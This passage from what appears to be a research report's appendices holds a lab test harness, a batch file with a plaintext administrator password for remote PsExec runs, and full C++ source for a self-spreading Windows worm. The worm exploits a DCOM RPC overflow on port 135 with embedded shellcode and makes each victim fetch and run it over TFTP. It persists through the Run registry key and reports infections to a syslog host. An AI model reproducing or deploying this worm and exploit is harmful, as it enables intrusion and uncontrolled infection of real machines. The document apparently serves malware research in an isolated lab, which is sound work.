time.sleep(300) 
try: 

os.remove(syslogremote) 
except: 

pass 
try: 

os.remove(quarantinelog) 
except: 



pass 
 

#Start command center 
thread = commandcenter.Commander(system[0], system[1]) 
thread.daemon = True 
thread.start() 
 
syslogfull = syslogbase + "\\" + system[2] + "\\" + worm[1] + "-" + 
time.strftime("%m-%d-%Y-%H-%M-%S") + ".txt" 
quarantinefull = quarantinebase + "\\" + system[2] + "\\" + worm[1] 
+ "-" + time.strftime("%m-%d-%Y-%H-%M-%S") + ".txt" 
 
 
#Start worm  
print("\n\nStarting test: %s with %s\n\n" % (worm[1], system[2])) 
os.system(worm[0]) 
time.sleep(30*60) 
 
#Copy log files 
try: 

shutil.copyfile(syslogremote, syslogfull) 
except: 

print("Could not copy syslog log") 
pass 

if(system[0] or system[1]): 
try: 

shutil.copyfile(quarantinelog, quarantinefull) 
except: 

print("Could not copy quarantine log") 
pass 

 
#Reset virtual network 
netcontrol.restoreAll() #restore all ports to vlan 1 
os.system("start resetallvms.bat") #reset vms 
time.sleep(120) 

 
#Reset all logs 
try: 

os.remove(syslogremote) 
except: 

pass 
try: 

os.remove(quarantinelog) 
except: 

pass 
 

 

20. Appendix F – resetallvms.bat 
start C:\PsExec.exe \\192.168.1.82 -U administrator -P tuftus -I 

1 -E -F -C \\192.168.1.141\share\resetvms.bat 

start C:\PsExec.exe \\192.168.1.84 -U administrator -P tuftus -I 

1 -E -F -C \\192.168.1.141\share\resetvms.bat 

start C:\PsExec.exe \\192.168.1.86 -U administrator -P tuftus -I 

1 -E -F -C \\192.168.1.141\share\resetvms.bat 



start C:\PsExec.exe \\192.168.1.88 -U administrator -P tuftus -I 

1 -E -F -C \\192.168.1.141\share\resetvms.bat 

start C:\PsExec.exe \\192.168.1.90 -U administrator -P tuftus -I 

1 -E -F -C \\192.168.1.141\share\resetvmse.bat 

start C:\PsExec.exe \\192.168.1.92 -U administrator -P tuftus -I 

1 -E -F -C \\192.168.1.141\share\resetvms.bat 

start C:\PsExec.exe \\192.168.1.94 -U administrator -P tuftus -I 

1 -E -F -C \\192.168.1.141\share\resetvms.bat 

start C:\PsExec.exe \\192.168.1.96 -U administrator -P tuftus -I 

1 -E -F -C \\192.168.1.141\share\resetvms.bat 

start C:\PsExec.exe \\192.168.1.99 -U administrator -P tuftus -I 

1 -E -F -C \\192.168.1.141\share\resetvms.bat 

start C:\PsExec.exe \\192.168.1.70 -U administrator -P tuftus -I 

1 -E -F -C \\192.168.1.141\share\resetvms.bat 

start C:\PsExec.exe \\192.168.1.72 -U administrator -P tuftus -I 

1 -E -F -C \\192.168.1.141\share\resetvmse.bat 

start C:\PsExec.exe \\192.168.1.74 -U administrator -P tuftus -I 

1 -E -F -C \\192.168.1.141\share\resetvms.bat 

exit 

21. Appendix G – Worm Non-Threaded Random.cpp 
#include <stdio.h> 
#include <stdlib.h> 
#include <winsock2.h> 
#include <string.h> 
#include <time.h> 
 
char* getLocalIP(); 
void Exploit(SOCKET&); 
void SetupExploit(); 
void Install(char *); 
void Report(); 
void ReportExploit(char *); 
void unBind(); 
bool Installed(); 
unsigned long chooseTarget(); 
DWORD WINAPI tftpServer(LPVOID); 
DWORD WINAPI wait(LPVOID); 
void debugLog(int); 
 
char* persistent = "C:\\Windows\\system32\\worm.exe"; 
bool tftpRunning = false, xferComplete = false, xferTimeOut = false;  
bool debug = true; 
int len; 
char buf2[0x1000]; 
char* filename; 
char logMessage[1000]; 
bool targeted[254]; 
 
char bindstr[]= 

"\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x7F\x00\x00\x00" 
"\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x01\x00" 
"\xa0\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x0
0\x00\x00\x00" 
"\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00" 



"\x2B\x10\x48\x60\x02\x00\x00"; 
 
unsigned char part1[]= 

"\x05\x00\x00\x03\x10\x00\x00\x00\xE8\x03\x00\x00\xE5\x00\x00\x00" 
"\xD0\x03\x00\x00\x01\x00\x04\x00\x05\x00\x06\x00\x01\x00\x00\x00" 
"\x00\x00\x00\x00\x32\x24\x58\xFD\xCC\x45\x64\x49\xB0\x70\xDD\xAE" 
"\x74\x2C\x96\xD2\x60\x5E\x0D\x00\x01\x00\x00\x00\x00\x00\x00\x00" 
"\x70\x5E\x0D\x00\x02\x00\x00\x00\x7C\x5E\x0D\x00\x00\x00\x00\x00" 
"\x10\x00\x00\x00\x80\x96\xF1\xF1\x2A\x4D\xCE\x11\xA6\x6A\x00\x20" 
"\xAF\x6E\x72\xF4\x0C\x00\x00\x00\x4D\x41\x52\x42\x01\x00\x00\x00" 
"\x00\x00\x00\x00\x0D\xF0\xAD\xBA\x00\x00\x00\x00\xA8\xF4\x0B\x00" 
"\x60\x03\x00\x00\x60\x03\x00\x00\x4D\x45\x4F\x57\x04\x00\x00\x00" 
"\xA2\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46" 
"\x38\x03\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46" 
"\x00\x00\x00\x00\x30\x03\x00\x00\x28\x03\x00\x00\x00\x00\x00\x00" 
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\xC8\x00\x00\x00\x4D\x45\x4F\x57" 
"\x28\x03\x00\x00\xD8\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" 
"\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\xC4\x28\xCD\x00\x64\x29\xCD\x00\x00\x00\x00\x00" 
"\x07\x00\x00\x00\xB9\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
"\x00\x00\x00\x46\xAB\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
"\x00\x00\x00\x46\xA5\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
"\x00\x00\x00\x46\xA6\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
"\x00\x00\x00\x46\xA4\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
"\x00\x00\x00\x46\xAD\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
"\x00\x00\x00\x46\xAA\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
"\x00\x00\x00\x46\x07\x00\x00\x00\x60\x00\x00\x00\x58\x00\x00\x00" 
"\x90\x00\x00\x00\x40\x00\x00\x00\x20\x00\x00\x00\x78\x00\x00\x00" 
"\x30\x00\x00\x00\x01\x00\x00\x00\x01\x10\x08\x00\xCC\xCC\xCC\xCC" 
"\x50\x00\x00\x00\x4F\xB6\x88\x20\xFF\xFF\xFF\xFF\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xCC\xCC\xCC\xCC" 
"\x48\x00\x00\x00\x07\x00\x66\x00\x06\x09\x02\x00\x00\x00\x00\x00" 
"\xC0\x00\x00\x00\x00\x00\x00\x46\x10\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x78\x19\x0C\x00" 
"\x58\x00\x00\x00\x05\x00\x06\x00\x01\x00\x00\x00\x70\xD8\x98\x93" 
"\x98\x4F\xD2\x11\xA9\x3D\xBE\x57\xB2\x00\x00\x00\x32\x00\x31\x00" 
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x80\x00\x00\x00\x0D\xF0\xAD\xBA" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x18\x43\x14\x00\x00\x00\x00\x00\x60\x00\x00\x00\x60\x00\x00\x00" 
"\x4D\x45\x4F\x57\x04\x00\x00\x00\xC0\x01\x00\x00\x00\x00\x00\x00" 
"\xC0\x00\x00\x00\x00\x00\x00\x46\x3B\x03\x00\x00\x00\x00\x00\x00" 
"\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x30\x00\x00\x00" 
"\x01\x00\x01\x00\x81\xC5\x17\x03\x80\x0E\xE9\x4A\x99\x99\xF1\x8A" 
"\x50\x6F\x7A\x85\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" 
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x30\x00\x00\x00\x78\x00\x6E\x00" 
"\x00\x00\x00\x00\xD8\xDA\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x20\x2F\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00" 
"\x00\x00\x00\x00\x03\x00\x00\x00\x46\x00\x58\x00\x00\x00\x00\x00" 
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x10\x00\x00\x00\x30\x00\x2E\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x68\x00\x00\x00\x0E\x00\xFF\xFF" 
"\x68\x8B\x0B\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 

 



unsigned char part2[]= 
"\x20\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x5C\x00\x5C\x00"; 

 
 
unsigned char sc[]= 

"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" 
"\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00\x46\x00\x58\x00" 
"\x46\x00\x58\x00\xff\xff\xff\xff\xcc\xe0\xfd\x7f\xcc\xe0\xfd\x7f"; 

 
 
unsigned char nops[]= 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 



"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; 

 
 

unsigned char sc2[]= 
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" 
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" 
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" 
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" 
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" 
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" 
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" 
"\x83\xc0\x7b\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff" 
"\xe7"; 

 
unsigned char part3[]= 

"\x00\x90\x00\x5C\x00\x43\x00\x24\x00\x5C\x00\x31\x00\x32\x00\x33" 
"\x00\x34\x00\x35\x00\x36\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31" 
"\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31" 
"\x00\x31\x00\x31\x00\x2E\x00\x64\x00\x6F\x00\x63\x00\x00";  

 
unsigned char part4[]= 

"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x20\x00\x00\x00\x30\x00\x2D\x00" 
"\x00\x00\x00\x00\x88\x2A\x0C\x00\x02\x00\x00\x00\x01\x00\x00\x00" 
"\x28\x8C\x0C\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00"; 

 
const char report[]= 

"\x3C\x31\x39\x31\x3E\x20\x49\x6E\x66" 
"\x65\x63\x74\x65\x64"; 

 
const char report2[]= 

"\x3C\x31\x39\x31\x3E\x20"; 
 
int main(int argc, char *argv[]) 
{ 

SOCKET sock; 
WSADATA wsaData; 
struct sockaddr_in target_ip; 
unsigned short port = 135; 
srand(time(NULL)); 

 
target_ip.sin_family = AF_INET; 
target_ip.sin_port = htons(port); 

 
filename = argv[0]; 

 
for(int t = 0; t < 254; t++){ 

targeted[t]=false; 
} 

 
debugLog(sprintf(logMessage, "New Run\n")); 
 

FILE * fp; 
if((fp = fopen("ruler.txt", "r")) != NULL){ 

fclose(fp); 



}else{ 
if(!Installed()) { 

Install(filename); //Install 
Report(); //Report 

} 
} 
 
WSAStartup(MAKEWORD(2,2), &wsaData); 

 
SetupExploit(); 

 
sock=socket(AF_INET,SOCK_STREAM,0); 

 
target_ip.sin_addr.s_addr = chooseTarget(); //Choose target IP 
Address 

 
while(true){ //Start loop 

debugLog(sprintf(logMessage, "Scanning: %s\n", 
inet_ntoa(target_ip.sin_addr))); 
 

if(connect(sock,(struct sockaddr *)&target_ip, 
sizeof(target_ip)) == 0) { //Attempt connection to port 135  

CreateThread(NULL, 0, tftpServer, 0, 0, NULL); //Start 
tftp server 
while(!tftpRunning);// {printf("t");} //Wait for tftp 
server to be ready 

debugLog(sprintf(logMessage, "Exploiting: %s\n", 
inet_ntoa(target_ip.sin_addr))); 
 

Exploit(sock); //Exploit! 
CreateThread(NULL, 0, wait, 0, 0, NULL); //start 
timeout thread 
while(!xferComplete && !xferTimeOut); //wait for xfer 
complete or timeout 
if(xferTimeOut){ debugLog(sprintf(logMessage, "xfer 
timed out\n")); } 
if(xferComplete){  

debugLog(sprintf(logMessage, "xfer complete\n")); 
 

ReportExploit(inet_ntoa(target_ip.sin_addr)); 
} 
xferComplete = false; 
xferTimeOut = false; 
closesocket(sock); 
sock=socket(AF_INET,SOCK_STREAM,0); 

} 
target_ip.sin_addr.s_addr = chooseTarget(); //Choose target IP 
Address 

} //End loop 
 

closesocket(sock); 
 

WSACleanup(); 
return 0; 

} 
 
void debugLog(int success){ 

if(success != -1){ 



if(debug) { 
FILE * logfile; 
if((logfile = fopen("wormlog.txt", "a+")) == 
NULL){printf("Couldn't open log file\n");} 
time_t rawtime; 
struct tm * timeinfo; 
char timestr[100]; 
time(&rawtime); 
timeinfo = localtime(&rawtime); 
strftime(timestr,100,"%c", timeinfo);  
printf("%s:: %s", timestr, logMessage); 
fprintf(logfile, "%s:: %s", timestr, logMessage); 
fclose(logfile); 

 
 

WSADATA wsaData3;  
WSAStartup(MAKEWORD(2, 2), &wsaData3); 
struct sockaddr_in syslog_ip; 
int syslog, slen=sizeof(syslog_ip); 
int count = 0; 
char exploited[1000], buf[1000]; 

 
syslog = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 

 
memset((char *) &syslog_ip, 0, sizeof(syslog_ip)); 
syslog_ip.sin_family = AF_INET; 
syslog_ip.sin_port = htons(514); 
syslog_ip.sin_addr.s_addr = inet_addr("192.168.1.131"); 
 
sprintf(exploited, "Message: %s", logMessage); 

 
memcpy(buf, report2, sizeof(report2)); 
memcpy(buf, exploited, strlen(exploited)); 

 
count = sendto(syslog, buf, 
(sizeof(report2)+strlen(exploited)), 0, 
(SOCKADDR*)&syslog_ip, sizeof(syslog_ip)); 
 
closesocket(syslog); 
WSACleanup(); 

} 
} 

} 
 
unsigned long chooseTarget(){ 

char retVal[255], *local_ip; 
int a, b, c, d, e; 
int count = 0; 

 
local_ip = getLocalIP(); 

 
a = atoi(strtok(local_ip, ".")); 
b = atoi(strtok(NULL, ".")); 
c = atoi(strtok(NULL, ".")); 
d = atoi(strtok(NULL, ".")); 
e = d; 
targeted[e]=true; 
while(e == d){ 



d = (rand() % 255); 
if(!targeted[d]){ 

break; 
} else { 

count++; 
if(count == 254){ 

debugLog(sprintf(logMessage, "Scanned all. Quitting\n")); 
exit(0); 
} 

} 
} 
 
sprintf(retVal, "%d.%d.%d.%d", a, b, c, d); 

 
return inet_addr(retVal); 

} 
 
void SetupExploit(){ 

unsigned int nopcount; 
unsigned long ret = 0x77e9afe3; 
unsigned long sclength; 
char szCmdBuf[0x1000]; 
char* local_ip; 

 
 
local_ip = getLocalIP(); 

 
memcpy(sc+36, (unsigned char *) &ret, 4); 
 
sprintf(szCmdBuf, "cmd.exe /c tftp -i %s get bot.exe && bot.exe", 
local_ip); 
 
nopcount = 1704 - (sizeof(part1)-1 + sizeof(part2)-1 + 
sizeof(part3)-1 + sizeof(sc)-1 + sizeof(sc2)-1 + strlen(szCmdBuf) + 
sizeof(part4)-1); 

 
sclength=sizeof(sc) + nopcount + sizeof(sc2) + strlen(szCmdBuf); 

 
memcpy(buf2,part1,sizeof(part1)-1); 
len=sizeof(part1)-1; 

 
*(unsigned long *)(part2)=*(unsigned long *)(part2)+sclength/2;   
*(unsigned long *)(part2+8)=*(unsigned long *)(part2+8)+sclength/2; 

 
memcpy(buf2+len,part2,sizeof(part2)-1); 
len=len+sizeof(part2)-1; 

 
memcpy(buf2+len,sc,sizeof(sc)-1); 
len=len+sizeof(sc)-1; 

 
memcpy(buf2+len, nops, nopcount); 
len=len+nopcount; 

 
memcpy(buf2+len, sc2, sizeof(sc2)-1); 
len=len+sizeof(sc2)-1; 

 
memcpy(buf2+len,szCmdBuf,strlen(szCmdBuf)); 
len=len+strlen(szCmdBuf); 



 
memcpy(buf2+len,part3,sizeof(part3)-1); 
len=len+sizeof(part3)-1; 

 
memcpy(buf2+len,part4,sizeof(part4)-1); 
len=len+sizeof(part4)-1; 

 
*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sclength-0xc; 
*(unsigned long *)(buf2+0x10)=*(unsigned long 
*)(buf2+0x10)+sclength-0xc;   
*(unsigned long *)(buf2+0x80)=*(unsigned long 
*)(buf2+0x80)+sclength-0xc; 
*(unsigned long *)(buf2+0x84)=*(unsigned long 
*)(buf2+0x84)+sclength-0xc; 
*(unsigned long *)(buf2+0xb4)=*(unsigned long 
*)(buf2+0xb4)+sclength-0xc; 
*(unsigned long *)(buf2+0xb8)=*(unsigned long 
*)(buf2+0xb8)+sclength-0xc; 
*(unsigned long *)(buf2+0xd0)=*(unsigned long 
*)(buf2+0xd0)+sclength-0xc; 
*(unsigned long *)(buf2+0x18c)=*(unsigned long 
*)(buf2+0x18c)+sclength-0xc; 

} 
 
void Exploit(SOCKET &sock){ 

char buf1[0x1000]; 
 

send(sock,bindstr,sizeof(bindstr),0); 
recv(sock,buf1,1000, 0); 
send(sock,buf2,len,0); 
recv(sock,buf1,1000, 0); 

 
return; 

} 
 
 
char* getLocalIP(){ 

char name[255]; 
char *retVal; 
PHOSTENT hostinfo; 
if(gethostname(name, sizeof(name))==0){ 

if((hostinfo = gethostbyname(name)) != NULL){ 
retVal = inet_ntoa(*(struct in_addr *)hostinfo-
>h_addr_list[0]); 
return retVal; 

} 
return NULL; 

}  
return NULL; 

 
} 
 
bool Installed(){ 

FILE * fp; 
if((fp = fopen(persistent, "r")) != NULL){ 

fclose(fp); 
debugLog(sprintf(logMessage, "Installed\n")); 
 



return true; 
}else{ 

debugLog(sprintf(logMessage, "Not Installed\n")); 
 

return false; 
} 

} 
 
void Install(char * file){ 

DeleteFile(persistent); 
CopyFile(file, persistent, false); 
 
HKEY key; 
RegCreateKeyEx(HKEY_LOCAL_MACHINE, 
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL);  
RegSetValueEx(key, "worm.exe", 0, REG_SZ, (const unsigned 
char*)persistent, strlen(persistent));  
RegCloseKey(key);  

 
HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128]; 
strcpy(szDataBuf, "N"); dwSize=strlen(szDataBuf); 
LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, 
"Software\\Microsoft\\OLE", 0, KEY_READ, &hkey); 
RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned 
char*)szDataBuf, dwSize); 
RegCloseKey(hkey); 

} 
 
void Report(){ 

WSADATA wsaData3;  
WSAStartup(MAKEWORD(2, 2), &wsaData3); 
struct sockaddr_in syslog_ip; 
int syslog, slen=sizeof(syslog_ip); 
int count = 0; 
 
syslog = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 

 
memset((char *) &syslog_ip, 0, sizeof(syslog_ip)); 
syslog_ip.sin_family = AF_INET; 
syslog_ip.sin_port = htons(514); 
syslog_ip.sin_addr.s_addr = inet_addr("192.168.1.131"); 
 
count = sendto(syslog, report, sizeof(report), 0, 
(SOCKADDR*)&syslog_ip, sizeof(syslog_ip)); 
 
closesocket(syslog); 
WSACleanup(); 
return; 

} 
 
void ReportExploit(char * target_ip){ 

WSADATA wsaData3;  
WSAStartup(MAKEWORD(2, 2), &wsaData3); 
struct sockaddr_in syslog_ip; 
int syslog, slen=sizeof(syslog_ip); 
int count = 0; 
char exploited[1000], buf[1000]; 



 
syslog = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 

 
memset((char *) &syslog_ip, 0, sizeof(syslog_ip)); 
syslog_ip.sin_family = AF_INET; 
syslog_ip.sin_port = htons(514); 
syslog_ip.sin_addr.s_addr = inet_addr("192.168.1.131"); 
 
sprintf(exploited, "Spread to %s", target_ip); 

 
memcpy(buf, report2, sizeof(report2)); 
memcpy(buf, exploited, strlen(exploited)); 

 
count = sendto(syslog, buf, (sizeof(report2)+strlen(exploited)), 0, 
(SOCKADDR*)&syslog_ip, sizeof(syslog_ip)); 
 
closesocket(syslog); 
WSACleanup(); 
return; 

} 
 
void unBind(){ 

WSADATA wsaData3;  
WSAStartup(MAKEWORD(2, 2), &wsaData3); 
struct sockaddr_in local_ip; 
int local, slen=sizeof(local_ip); 
int count = 0; 

 
local = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 

 
local_ip.sin_family = AF_INET; 
local_ip.sin_port = htons(69); 
local_ip.sin_addr.s_addr = inet_addr(getLocalIP()); 

 
count = sendto(local, "\x00", 1, 0, (SOCKADDR*)&local_ip, 
sizeof(local_ip)); 
closesocket(local); 
WSACleanup(); 
return; 

} 
 
DWORD WINAPI wait(LPVOID arg){ 

Sleep(10000); 
unBind(); 
xferTimeOut = true; 
return 0; 

} 
 
DWORD WINAPI tftpServer(LPVOID arg){ 

WSADATA wsaData2; 
WSAStartup(MAKEWORD(2,2), &wsaData2); 
struct sockaddr_in server_ip, target_ip; 
int server, slen=sizeof(target_ip), count; 
short int block = 0x00; 
char buf[512]; 
char buf2[512]; 
char sendbuf[516]; 
 



xferComplete = false; 
tftpRunning = false; 

 
FILE *fp; 
long filelen; 

 
fp = fopen(filename, "rb"); 
fseek(fp, 0, SEEK_END); 
filelen = ftell(fp); 
fseek(fp, 0, SEEK_SET); 

 
server=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 

 
memset((char *) &server_ip, 0, sizeof(server_ip)); 
server_ip.sin_family = AF_INET; 
server_ip.sin_port = htons(69); 
server_ip.sin_addr.s_addr = inet_addr(getLocalIP()); 

 
if(bind(server, (SOCKADDR*)&server_ip, sizeof(server_ip)) == 
SOCKET_ERROR){ 

debugLog(sprintf(logMessage, "TFTP Server Not Listening: Bind Error: %d\n", 
WSAGetLastError())); 
 

tftpRunning = false; 
fclose(fp); 
closesocket(server); 
WSACleanup();    
return 1; 

} 
debugLog(sprintf(logMessage, "TFTP Server Listening\n"));  
 

tftpRunning = true; 
if (recvfrom(server, buf, 1, 0, (SOCKADDR*)&target_ip, &slen)==-1){ 

while((ftell(fp)<filelen) && !xferTimeOut){ 
block++; 
count = fread(buf2, 1, 512, fp); 
sendbuf[0]='\x00'; 
sendbuf[1]='\x03'; 
sendbuf[2]=(char)((block&0xFF00)>>8); 
sendbuf[3]=(char)(block&0x00FF); 
memcpy(sendbuf+4, buf2, count); 
sendto(server, sendbuf, count+4, 0, 
(SOCKADDR*)&target_ip, sizeof(target_ip)); 
recvfrom(server, buf, 1, 0, (SOCKADDR*)&target_ip, 
&slen); 

} 
xferComplete = true; 
